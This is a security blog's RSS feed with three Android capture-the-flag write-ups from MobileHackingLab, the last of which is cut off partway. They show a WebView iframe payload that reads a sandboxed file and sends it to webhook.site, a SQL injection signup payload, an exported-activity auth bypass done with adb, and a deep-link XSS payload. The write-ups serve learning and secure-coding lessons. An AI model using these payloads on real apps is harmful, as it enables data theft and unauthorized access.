<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Dev&Security]]></title><description><![CDATA[Dev&Security]]></description><link>https://devandsecurity.com</link><generator>RSS for Node</generator><lastBuildDate>Thu, 30 Apr 2026 00:34:50 GMT</lastBuildDate><atom:link href="https://devandsecurity.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Parse & Pwn - MHL CTF Writeup]]></title><description><![CDATA[This was an interesting challenge from MobileHackingLab involving a markdown previewer app. (Spoiler: it wasn't just about markdown parsing ;p) It made me feel stupid once I finished the challengeXD
T]]></description><link>https://devandsecurity.com/mhl-parse-pwn</link><guid isPermaLink="true">https://devandsecurity.com/mhl-parse-pwn</guid><category><![CDATA[CTF]]></category><category><![CDATA[mobilehackinglab]]></category><dc:creator><![CDATA[dev&security]]></dc:creator><pubDate>Fri, 20 Feb 2026 07:33:39 GMT</pubDate><content:encoded><![CDATA[<p>This was an interesting challenge from MobileHackingLab involving a markdown previewer app. (Spoiler: it wasn't just about markdown parsing ;p) It made me feel stupid once I finished the challengeXD</p>
<p>The objective was simple:</p>
<blockquote>
<p>Find a vulnerability in a markdown parser app and read the flag.txt file from an app sandbox directory.</p>
</blockquote>
<h2>Initial Recon - JADX</h2>
<p>First thing I do with any Android APK is open it in JADX and check the <code>AndroidManifest.xml</code>.</p>
<p>There was only one activity — <code>MainActivity</code>. I was honestly confused at first because MainActivity had basically nothing in it:</p>
<pre><code class="language-java">protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    ensureFlagFile();
    // ...compose stuff
}

private final void ensureFlagFile() {
    File file = new File(getFilesDir(), "flag.txt");
    if (file.exists()) {
        return;
    }
    FilesKt.writeText$default(file, "dummy", null, 2, null);
}
</code></pre>
<p>So it creates a <code>flag.txt</code> with "dummy" if it doesn't exist.</p>
<p>For this challenge, if you are using real device, you will only get dummy flag, you would need to use the MHL lab infrastructure. I spend a couple hours trying to see if I had missed something because I was always getting dummy flag, but when I checked the challenge, it made me feel stupid, it literally says</p>
<blockquote>
<ul>
<li>Get the real flag.txt from the integrated Android Lab Device from the app data dir.</li>
</ul>
</blockquote>
<p>Anyways,</p>
<h2>Finding the Actual Logic</h2>
<p>Since it's a Jetpack Compose app, the real logic is scattered across lambdas and composable functions. I went into <code>ComposableSingletons$MainActivityKt</code> and then <code>MainActivityKt</code> which had the hint</p>
<p>A few things stood out immediately:</p>
<pre><code class="language-java">public static final String markdownToHtml(String str) {
    return "...&lt;body&gt;" + HtmlRenderer.builder()
        .escapeHtml(false)      // &lt;- interesting
        .sanitizeUrls(false)    // &lt;- also interesting
        .build()
        .render(Parser.builder().build().parse(str))
        + "&lt;/body&gt;&lt;/html&gt;";
}
</code></pre>
<p><code>escapeHtml(false)</code> and <code>sanitizeUrls(false)</code> — this means raw HTML in your markdown goes straight to the renderer. No sanitization.</p>
<p>And in the WebView setup:</p>
<pre><code class="language-java">webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
// ...
value.loadDataWithBaseURL("file:///", strMarkdownToHtml, "text/html", "utf-8", null);
</code></pre>
<p>JavaScript is enabled, file access is enabled, and the base URL is set to <code>file:///</code>. This is the key piece — <code>loadDataWithBaseURL</code> with <code>file:///</code> as base means the WebView thinks it's running in a file context, which could allow reading local files.</p>
<h2>Attack Plan</h2>
<p>The app has three ways to load markdown — From File, From URL, and From Clipboard.</p>
<p>The URL loader only accepts <code>https://</code> URLs:</p>
<p>java</p>
<pre><code class="language-java">if (StringsKt.startsWith$default(value, "https://", false, 2, (Object) null)) {
    // loads it
} else {
    Toast.makeText(this.$context, "Only https URLs are allowed", 0).show();
}
</code></pre>
<p>So I need to:</p>
<ol>
<li><p>Host a malicious markdown file with embedded HTML/JS</p>
</li>
<li><p>Serve it over HTTPS</p>
</li>
<li><p>Load it via the URL dialog</p>
</li>
<li><p>Use the injected script to read <code>flag.txt</code> and exfiltrate it</p>
</li>
</ol>
<h2>Setting Up the Attack</h2>
<p>I spun up a local HTTP server:</p>
<p>bash</p>
<pre><code class="language-bash">python3 -m http.server 8080
</code></pre>
<p>And used ngrok to get an HTTPS tunnel since the app enforces <code>https://</code>.</p>
<p>For my initial POC I tried a simple alert:</p>
<p>html</p>
<pre><code class="language-html">&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
<p>No alert appeared. I spent a bit debugging — turns out the file was loading fine but I had to make sure the content was actually being rendered as HTML and not escaped.</p>
<p>Then I tried a webhook fetch to confirm JS execution:</p>
<p>html</p>
<pre><code class="language-html">&lt;script&gt;
fetch('https://webhook.site/my-id')
&lt;/script&gt;
</code></pre>
<p>Got a hit. JS is executing.</p>
<img src="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/6971af02ac1601d061380e40/15bd7d7c-12fe-4bb3-ac20-feef936a2ca2.png" alt="" style="display:block;margin:0 auto" />

<p>Now onto file reading.</p>
<h2>Trying to Read the Flag</h2>
<p>This is where I went down a rabbit hole. My first instinct was XHR:</p>
<pre><code class="language-javascript">var x = new XMLHttpRequest();
x.open('GET', 'file:///data/data/com.mobilehackinglab.markdownpreviewer/files/flag.txt');
x.onload = function() { /* send to webhook */ };
x.send();
</code></pre>
<p>I kept getting hits on the webhook but with empty content. Tried sync XHR, tried <code>overrideMimeType</code>, tried different approaches — all empty.</p>
<p>Checked <code>x.status</code> — it was returning <code>0</code>, meaning the request was being blocked entirely. Even though <code>setAllowFileAccess(true)</code> is set, <code>setAllowUniversalAccessFromFileURLs</code> was NOT set, so cross-origin file reads via XHR were blocked.</p>
<h2>The Fix — A very basic Iframe</h2>
<p>Instead of XHR, I tried an <code>&lt;iframe&gt;</code>:</p>
<p>html</p>
<pre><code class="language-html">&lt;iframe 
  src="file:///data/data/com.mobilehackinglab.markdownpreviewer/files/flag.txt"
  onload="new Image().src='https://webhook.site/my-id?f='+btoa(this.contentDocument.body.innerText)"&gt;
&lt;/iframe&gt;
</code></pre>
<p>Since we're in <code>file:///</code> context (thanks to <code>loadDataWithBaseURL</code>), an iframe pointing to another <code>file://</code> URL is same-origin. The iframe loads, <code>onload</code> fires, and we grab <code>innerText</code> and ship it to the webhook.</p>
<p>Got the flag!</p>
<pre><code class="language-plaintext">MHL{f1l3_url5_4r3_n0t_4_bug}
</code></pre>
<img src="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/6971af02ac1601d061380e40/86035405-27b2-4d5c-9a6d-d65f6667030c.png" alt="" style="display:block;margin:0 auto" />

<h2>Summary</h2>
<p>The vulnerability chain:</p>
<ol>
<li><p><strong>HTML injection</strong> — <code>escapeHtml(false)</code> in the markdown renderer lets you inject raw HTML and <code>&lt;script&gt;</code> tags</p>
</li>
<li><p><strong>WebView misconfiguration</strong> — <code>setJavaScriptEnabled(true)</code> + <code>setAllowFileAccess(true)</code> + <code>loadDataWithBaseURL("file:///", ...)</code> creates a file-context WebView</p>
</li>
<li><p><strong>Same-origin file read via iframe</strong> — since base URL is <code>file:///</code>, an iframe can load other <code>file://</code> paths without triggering CORS</p>
</li>
</ol>
<p>I was a fun challenge. The rabbit hole of XHR vs iframe was the most time consuming part honestly and also that I used real device without reading the challenge intructions, i spent majority of my time on why the flag was dummy.</p>
]]></content:encoded></item><item><title><![CDATA[MobileHackingLab: Food Store - SQL Injection Challenge]]></title><description><![CDATA[This was another interesting challenge from MHL regarding SQL injection. (Spoiler Alert: there was more than sql injection in this challenge;p)
This is more like a walkthrough of the challenge.
This was the objective from MHL:


Exploit a SQL Injecti...]]></description><link>https://devandsecurity.com/mobilehackinglab-food-store-sql-injection-challenge</link><guid isPermaLink="true">https://devandsecurity.com/mobilehackinglab-food-store-sql-injection-challenge</guid><category><![CDATA[CTF]]></category><category><![CDATA[android hacking]]></category><category><![CDATA[mobilehackinglab]]></category><dc:creator><![CDATA[dev&security]]></dc:creator><pubDate>Mon, 16 Feb 2026 03:16:16 GMT</pubDate><content:encoded><![CDATA[<p>This was another interesting challenge from MHL regarding SQL injection. (Spoiler Alert: there was more than sql injection in this challenge;p)</p>
<p>This is more like a walkthrough of the challenge.</p>
<p>This was the objective from MHL:</p>
<blockquote>
<ul>
<li>Exploit a SQL Injection Vulnerability: Your mission is to manipulate the signup function in the "Food Store" Android application, allowing you to register as a Pro user, bypassing standard user restrictions.</li>
</ul>
</blockquote>
<p>As soon as I got the apk, I started with JADX and started analyzing the AndroidManifest file  </p>
<p>There were 3 activities</p>
<pre><code class="lang-xml"> <span class="hljs-tag">&lt;<span class="hljs-name">activity</span>
            <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.foodstore.Signup"</span>
            <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"false"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">activity</span>
            <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.foodstore.MainActivity"</span>
            <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">activity</span>
            <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.foodstore.LoginActivity"</span>
            <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">intent-filter</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.action.MAIN"</span>/&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.LAUNCHER"</span>/&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">intent-filter</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">activity</span>&gt;</span>
</code></pre>
<p>LoginActivity was the main launcher activity. Because the vulnerability was specified in Signup, I took a closer look at the Signup Activity</p>
<p>There was nothing interesting here, this is just a activity class, all the db related things were happening inside DB helper.</p>
<p>If you see in onCreate of Signup Activity you’ll see</p>
<pre><code class="lang-java">DBHelper dbHelper = <span class="hljs-keyword">new</span> DBHelper(<span class="hljs-keyword">this</span>$<span class="hljs-number">0</span>);
<span class="hljs-comment">// other stuffs</span>
dbHelper.addUser(newUser);
</code></pre>
<p>And this was the addUser function inside the DbHelper class</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">void</span> <span class="hljs-title">addUser</span><span class="hljs-params">(User user)</span> <span class="hljs-keyword">throws</span> SQLException </span>{
        Intrinsics.checkNotNullParameter(user, <span class="hljs-string">"user"</span>);
        SQLiteDatabase db = getWritableDatabase();
        <span class="hljs-keyword">byte</span>[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes, <span class="hljs-string">"this as java.lang.String).getBytes(charset)"</span>);
        String encodedPassword = Base64.encodeToString(bytes, <span class="hljs-number">0</span>);
        String Username = user.getUsername();
        <span class="hljs-keyword">byte</span>[] bytes2 = user.getAddress().getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes2, <span class="hljs-string">"this as java.lang.String).getBytes(charset)"</span>);
        String encodedAddress = Base64.encodeToString(bytes2, <span class="hljs-number">0</span>);
        String sql = <span class="hljs-string">"INSERT INTO users (username, password, address, isPro) VALUES ('"</span> + Username + <span class="hljs-string">"', '"</span> + encodedPassword + <span class="hljs-string">"', '"</span> + encodedAddress + <span class="hljs-string">"', 0)"</span>;
        db.execSQL(sql);
        db.close();
    }
</code></pre>
<p>This line in particular was interesting</p>
<pre><code class="lang-java">String sql = <span class="hljs-string">"INSERT INTO users (username, password, address, isPro) VALUES ('"</span> + Username + <span class="hljs-string">"', '"</span> + encodedPassword + <span class="hljs-string">"', '"</span> + encodedAddress + <span class="hljs-string">"', 0)"</span>;
</code></pre>
<p>It is taking user supplied input directly to SQL statements.</p>
<p>I then started crafting the payload</p>
<h2 id="heading-payload-creation"><strong>Payload Creation</strong></h2>
<p>Password and Address was being base64 encoded as base64 before inserting into db, while isPro was not user controlled. We are left out with Username.</p>
<p>Let’s use Username to inject SQLi Payload.</p>
<p>You could simplu craft this payload</p>
<pre><code class="lang-java">sqli<span class="hljs-string">', '</span>aGVsbG8=<span class="hljs-string">', '</span>MQ==<span class="hljs-string">', 1); --</span>
</code></pre>
<pre><code class="lang-java">aGVsbG8= is hello in base64
</code></pre>
<p>Why encode password and address before inserting? This is because if you observe</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> User <span class="hljs-title">getUserByUsername</span><span class="hljs-params">(String Username)</span> </span>{
        Intrinsics.checkNotNullParameter(Username, <span class="hljs-string">"Username"</span>);
        SQLiteDatabase db = getReadableDatabase();
        Cursor cursor = db.query(<span class="hljs-string">"users"</span>, <span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"id"</span>, <span class="hljs-string">"username"</span>, <span class="hljs-string">"password"</span>, <span class="hljs-string">"address"</span>, <span class="hljs-string">"isPro"</span>}, <span class="hljs-string">"username = ?"</span>, <span class="hljs-keyword">new</span> String[]{Username}, <span class="hljs-keyword">null</span>, <span class="hljs-keyword">null</span>, <span class="hljs-keyword">null</span>);
        User user = <span class="hljs-keyword">null</span>;
        <span class="hljs-keyword">if</span> (cursor.moveToFirst()) {
            String encodedPassword = cursor.getString(cursor.getColumnIndexOrThrow(<span class="hljs-string">"password"</span>));
            String encodedAddress = cursor.getString(cursor.getColumnIndexOrThrow(<span class="hljs-string">"address"</span>));
            <span class="hljs-keyword">byte</span>[] bArrDecode = Base64.decode(encodedPassword, <span class="hljs-number">0</span>);
            Intrinsics.checkNotNullExpressionValue(bArrDecode, <span class="hljs-string">"decode(...)"</span>);
            String decodedPassword = <span class="hljs-keyword">new</span> String(bArrDecode, Charsets.UTF_8);
            <span class="hljs-keyword">byte</span>[] bArrDecode2 = Base64.decode(encodedAddress, <span class="hljs-number">0</span>);
            Intrinsics.checkNotNullExpressionValue(bArrDecode2, <span class="hljs-string">"decode(...)"</span>);
            String decodedAddress = <span class="hljs-keyword">new</span> String(bArrDecode2, Charsets.UTF_8);
            user = <span class="hljs-keyword">new</span> User(cursor.getInt(cursor.getColumnIndexOrThrow(<span class="hljs-string">"id"</span>)), Username, decodedPassword, decodedAddress, cursor.getInt(cursor.getColumnIndexOrThrow(<span class="hljs-string">"isPro"</span>)) == <span class="hljs-number">1</span>);
        }
        cursor.close();
        <span class="hljs-keyword">return</span> user;
    }
</code></pre>
<p>Here they decode the base64 to match password and also address, if it is not valid base64 the app will crash, raise an exception hence use valid base64 while inserting into db.</p>
<p><code>sqli', 'aGVsbG8=', 'MQ==', 1); --</code>This payload is equivalent to saying created sqli user with password hello with isPro as 1.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771210989561/60e0741e-5cbd-4abf-97c5-32c63abae742.png" alt class="image--center mx-auto" /></p>
<p>You can see that in the signup activity, a toast appears when signup is completed</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771211005256/27b86fe8-3988-402b-ad73-114a119a7b56.png" alt class="image--center mx-auto" /></p>
<p>We can also confirm this using objection, that the signup has been successful, we now have user <code>sqli</code> with password <code>hello</code></p>
<pre><code class="lang-plaintext">SQLite @ /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db &gt; select * from users;
+----+----------+----------+----------+-------+
| id | username | password | address  | isPro |
+----+----------+----------+----------+-------+
| 1  | admin    | cGFzcw== | YWFhYQ== | 0     |
| 2  | hello    | d29ybGQ= | MQ==     | 0     |
| 3  | hello    | d29ybGQ= | MQ==     | 0     |
| 4  | sqli  | aGVsbG8= | 1        | 1     |
+----+----------+----------+----------+-------+
4 rows in set
Time: 0.001s
SQLite @ /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db &gt;
</code></pre>
<p>Upon login you can observe</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771211141795/f209b793-fd2a-4fb4-a0c9-8c397370a6f3.png" alt class="image--center mx-auto" /></p>
<p>We have now bypassed the standard user restrictions and have gotten 10000 credits.</p>
<h2 id="heading-any-more-vulnerabilities">Any more vulnerabilities?</h2>
<p>I was checking the manifest and caught my eye</p>
<pre><code class="lang-plaintext">&lt;activity
            android:name="com.mobilehackinglab.foodstore.MainActivity"
            android:exported="true"/&gt;
</code></pre>
<p>This mainActivity was exported meaning we can launch it using activity manager</p>
<pre><code class="lang-plaintext">adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity

Starting: Intent { cmp=com.mobilehackinglab.foodstore/.MainActivity }
</code></pre>
<p>If you observe the app, you’ll see we are logged in as guest user with 0 credits</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771211292347/0cfb67f1-8587-4acd-b5d2-6f0b5cda2860.png" alt class="image--center mx-auto" /></p>
<p>Let’s see how they handle Intents here.</p>
<h2 id="heading-intent-handling-in-exported-mainactivity">Intent Handling in Exported MainActivity</h2>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">protected</span> <span class="hljs-keyword">void</span> <span class="hljs-title">onCreate</span><span class="hljs-params">(Bundle savedInstanceState)</span> </span>{
        <span class="hljs-comment">// ...</span>
        String username = getIntent().getStringExtra(<span class="hljs-string">"USERNAME"</span>);
        <span class="hljs-keyword">if</span> (username == <span class="hljs-keyword">null</span>) {
            username = <span class="hljs-string">"Guest"</span>;
        }
        <span class="hljs-keyword">this</span>.userCredit = getIntent().getIntExtra(<span class="hljs-string">"USER_CREDIT"</span>, <span class="hljs-number">0</span>);
        <span class="hljs-keyword">boolean</span> isProUser = getIntent().getBooleanExtra(<span class="hljs-string">"IS_PRO_USER"</span>, <span class="hljs-keyword">false</span>);
        TextView textView = <span class="hljs-keyword">this</span>.nameTextView;
        TextView textView2 = <span class="hljs-keyword">null</span>;
        <span class="hljs-keyword">if</span> (textView == <span class="hljs-keyword">null</span>) {
            Intrinsics.throwUninitializedPropertyAccessException(<span class="hljs-string">"nameTextView"</span>);
            textView = <span class="hljs-keyword">null</span>;
        }
        textView.setText(<span class="hljs-string">"Guest: "</span> + username);
        TextView textView3 = <span class="hljs-keyword">this</span>.creditsTextView;
        <span class="hljs-keyword">if</span> (textView3 == <span class="hljs-keyword">null</span>) {
            Intrinsics.throwUninitializedPropertyAccessException(<span class="hljs-string">"creditsTextView"</span>);
            textView3 = <span class="hljs-keyword">null</span>;
        }
        textView3.setText(<span class="hljs-string">"Credits: "</span> + <span class="hljs-keyword">this</span>.userCredit);
        TextView textView4 = <span class="hljs-keyword">this</span>.proUserTextView;
        <span class="hljs-keyword">if</span> (textView4 == <span class="hljs-keyword">null</span>) {
            Intrinsics.throwUninitializedPropertyAccessException(<span class="hljs-string">"proUserTextView"</span>);
        } <span class="hljs-keyword">else</span> {
            textView2 = textView4;
        }
        textView2.setText(isProUser ? <span class="hljs-string">"Pro User"</span> : <span class="hljs-string">"Regular User"</span>);
        String stringExtra = getIntent().getStringExtra(<span class="hljs-string">"USER_ADDRESS"</span>);
        <span class="hljs-keyword">if</span> (stringExtra == <span class="hljs-keyword">null</span>) {
            stringExtra = <span class="hljs-string">"Unknown address"</span>;
        }
        <span class="hljs-comment">///</span>
    }
</code></pre>
<p>Interesting they do accept intents <code>USERNAME, USER_CREDIT, IS_PRO_USER, USER_ADDRESS</code></p>
<h2 id="heading-exploiting-exported-activity">Exploiting Exported Activity</h2>
<p>We can use this to exploit the activity</p>
<pre><code class="lang-java">adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity
 \
∙ --es USERNAME helloworld \
∙ --ei USER_CREDIT <span class="hljs-number">10000</span> \
∙ --ez IS_PRO_USER <span class="hljs-keyword">true</span> \
∙ --es USER_ADDRESS <span class="hljs-string">"deliveryhere"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771211497032/e1fe3c85-090c-463d-80a3-b547e645d61f.png" alt class="image--center mx-auto" /></p>
<p>You can see that we are now logged in as helloworld by exploiting exported activity, bypassing the auth process.  </p>
<p>Hence we were able to exploit two vulnerabilities</p>
<ol>
<li><p>SQL injection in signup</p>
</li>
<li><p>Exported MainActivity bypass</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>This MHL Food Store challenge demonstrated how multiple vulnerabilities can compound to compromise an application's security. We exploited two distinct attack vectors:</p>
<p><strong>SQL Injection in User Registration</strong>: By manipulating the username field during signup, we bypassed the isPro restriction through a carefully crafted payload that closed the VALUES clause early and injected our own isPro value. The key insight was ensuring our injected password and address fields used valid base64 encoding to prevent crashes during the subsequent decode operation in <code>getUserByUsername()</code>.</p>
<p><strong>Exported Activity Exploitation</strong>: The MainActivity's exported status combined with unvalidated Intent extra handling allowed us to completely bypass the authentication flow. By crafting Intent extras with arbitrary USERNAME, USER_CREDIT, and IS_PRO_USER values, we gained full Pro user access without even touching the database.</p>
<h2 id="heading-key-takeaways"><strong>Key Takeaways</strong></h2>
<ul>
<li><p>Always use parameterized queries (PreparedStatements) for SQL operations - the <code>query()</code> method showed the right approach with <code>?</code> placeholders</p>
</li>
<li><p>Never mark activities as exported unless absolutely necessary, and always validate Intent data</p>
</li>
<li><p>Defense in depth matters - fixing just the SQL injection wouldn't have prevented the Intent-based bypass</p>
</li>
</ul>
<p>Both vulnerabilities stemmed from trusting user-controlled input without proper validation. A seemingly simple food ordering app revealed how attack surface expands when multiple security oversights combine.</p>
]]></content:encoded></item><item><title><![CDATA[Mobile Hacking Lab: Post Board - WebView XSS to RCE Challenge]]></title><description><![CDATA[Objective: Exploit XSS vulnerability in WebView's markdown parser to achieve Remote Code Execution via command injection
This was a fascinating challenge from Mobile Hacking Lab that combined web security (XSS) with Android security (command injectio...]]></description><link>https://devandsecurity.com/mobile-hacking-lab-post-board-webview-xss-to-rce-challenge</link><guid isPermaLink="true">https://devandsecurity.com/mobile-hacking-lab-post-board-webview-xss-to-rce-challenge</guid><category><![CDATA[android-ctf]]></category><category><![CDATA[CTF]]></category><category><![CDATA[mobilehackinglab]]></category><dc:creator><![CDATA[dev&security]]></dc:creator><pubDate>Tue, 03 Feb 2026 03:34:04 GMT</pubDate><content:encoded><![CDATA[<p><strong>Objective:</strong> Exploit XSS vulnerability in WebView's markdown parser to achieve Remote Code Execution via command injection</p>
<p>This was a fascinating challenge from Mobile Hacking Lab that combined web security (XSS) with Android security (command injection). What made it interesting was that it made me thinking about real-world exploitation, not just getting RCE via direct deep links, but weaponizing it through XSS so an attacker could send a malicious link to a victim and exfiltrate the data, Let me walk you through my journey.</p>
<h2 id="heading-initial-reconnaissance-the-challenge-description">Initial Reconnaissance - The Challenge Description</h2>
<p>The challenge description immediately pointed to WebView vulnerabilities:</p>
<ul>
<li><p>XSS vulnerability in WebView component</p>
</li>
<li><p>Exposed Java interface to JavaScript</p>
</li>
<li><p>Goal: Chain XSS → RCE</p>
</li>
</ul>
<p>My first instinct: <em>This is going to involve</em> <code>addJavascriptInterface</code>.</p>
<h2 id="heading-decompiling-the-apk-finding-entry-points">Decompiling the APK - Finding Entry Points</h2>
<p>Started with JADX to examine the AndroidManifest.xml:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">activity</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">".MainActivity"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">intent-filter</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.action.VIEW"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.DEFAULT"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.BROWSABLE"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">data</span> <span class="hljs-attr">android:scheme</span>=<span class="hljs-string">"postboard"</span> 
              <span class="hljs-attr">android:host</span>=<span class="hljs-string">"postmessage"</span>/&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">intent-filter</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">activity</span>&gt;</span>
</code></pre>
<p><strong>Discovery:</strong> Deep link handler - <code>postboard://postmessage/</code></p>
<p>This meant I could trigger functionality from outside the app via ADB or a malicious link.  </p>
<p>I immediately opened something like this to see what happens</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770088014922/f2ae8060-b2fc-43a2-a669-8b9695107f66.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-deep-link-handler-understanding-the-flow">The Deep Link Handler - Understanding the Flow</h2>
<p>I then started examining <code>MainActivity.handleIntent()</code>:</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">void</span> <span class="hljs-title">handleIntent</span><span class="hljs-params">()</span> </span>{
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();

    <span class="hljs-keyword">if</span> (!Intrinsics.areEqual(<span class="hljs-string">"android.intent.action.VIEW"</span>, action) || 
        data == <span class="hljs-keyword">null</span> || 
        !Intrinsics.areEqual(data.getScheme(), <span class="hljs-string">"postboard"</span>) || 
        !Intrinsics.areEqual(data.getHost(), <span class="hljs-string">"postmessage"</span>)) {
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-keyword">try</span> {
        String path = data.getPath();
        <span class="hljs-comment">// Drops the leading '/' character</span>
        <span class="hljs-keyword">byte</span>[] bArrDecode = Base64.decode(
            path != <span class="hljs-keyword">null</span> ? StringsKt.drop(path, <span class="hljs-number">1</span>) : <span class="hljs-keyword">null</span>, <span class="hljs-number">8</span>);
        String message = <span class="hljs-keyword">new</span> String(bArrDecode, Charsets.UTF_8);

        <span class="hljs-comment">// Single quote escaping</span>
        message = StringsKt.replace$<span class="hljs-keyword">default</span>(message, <span class="hljs-string">"'"</span>, <span class="hljs-string">"\\'"</span>, <span class="hljs-keyword">false</span>, <span class="hljs-number">4</span>, <span class="hljs-keyword">null</span>);

        <span class="hljs-comment">// Loads into WebView</span>
        binding.webView.loadUrl(
            <span class="hljs-string">"javascript:WebAppInterface.postMarkdownMessage('"</span> + message + <span class="hljs-string">"')"</span>);

    } <span class="hljs-keyword">catch</span> (Exception e) {
        <span class="hljs-comment">// Error path - triggers cowsay</span>
        binding.webView.loadUrl(
            <span class="hljs-string">"javascript:WebAppInterface.postCowsayMessage('"</span> + e.getMessage() + <span class="hljs-string">"')"</span>);
    }
}
</code></pre>
<p><strong>Key observations:</strong></p>
<ol>
<li><p>Path after <code>/</code> is base64 decoded</p>
</li>
<li><p>Single quotes are escaped: <code>'</code> → <code>\'</code></p>
</li>
<li><p>Success path: calls <code>postMarkdownMessage()</code></p>
</li>
<li><p><strong>Error path: calls</strong> <code>postCowsayMessage()</code> with exception message</p>
</li>
</ol>
<p>So I could also do  </p>
<pre><code class="lang-bash">adb shell am start -a android.intent.action.VIEW -d <span class="hljs-string">"postboard://postmessage/<span class="hljs-subst">$(echo -n 'hello' | base64)</span>"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770088119294/d8176abc-55ac-4032-9ffc-a434a370c12c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-first-approach-the-markdown-xss-hunt">First Approach - The Markdown XSS Hunt</h2>
<p>I examined <code>WebAppInterface.postMarkdownMessage()</code> - it had tons of regex replacements converting markdown to HTML:</p>
<pre><code class="lang-java"><span class="hljs-meta">@JavascriptInterface</span>
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">void</span> <span class="hljs-title">postMarkdownMessage</span><span class="hljs-params">(String markdownMessage)</span> </span>{
    <span class="hljs-comment">// Image: ![alt](url) → &lt;img src='url' alt='alt'/&gt;</span>
    String html3 = <span class="hljs-keyword">new</span> Regex(<span class="hljs-string">"!\\[(.*?)\\]\\((.*?)\\)"</span>)
        .replace(html2, <span class="hljs-string">"&lt;img src='$2' alt='$1'/&gt;"</span>);

    <span class="hljs-comment">// Links: [text](url) → &lt;a href='url'&gt;text&lt;/a&gt;</span>
    String html13 = <span class="hljs-keyword">new</span> Regex(<span class="hljs-string">"\\[([^\\[]+)\\]\\(([^)]+)\\)"</span>)
        .replace(html12, <span class="hljs-string">"&lt;a href='$2'&gt;$1&lt;/a&gt;"</span>);

    <span class="hljs-comment">// More markdown parsing...</span>
}
</code></pre>
<p><strong>My thinking:</strong> If I can inject HTML through markdown syntax, I can get XSS.</p>
<p>Hence I tried with simplest payload</p>
<pre><code class="lang-java">&lt;img src=x onerror=alert(<span class="hljs-number">1</span>)&gt;

adb shell am start -a android.intent.action.VIEW -d <span class="hljs-string">"postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770088231274/7f2b8a49-80e3-4f6d-b61d-9d24ff997899.png" alt class="image--center mx-auto" /></p>
<p>XSS was executed, but what harm would this cause in a real world scenario? likely None</p>
<h2 id="heading-my-initial-instinct-the-cowsay-vector">My Initial Instinct - The Cowsay Vector</h2>
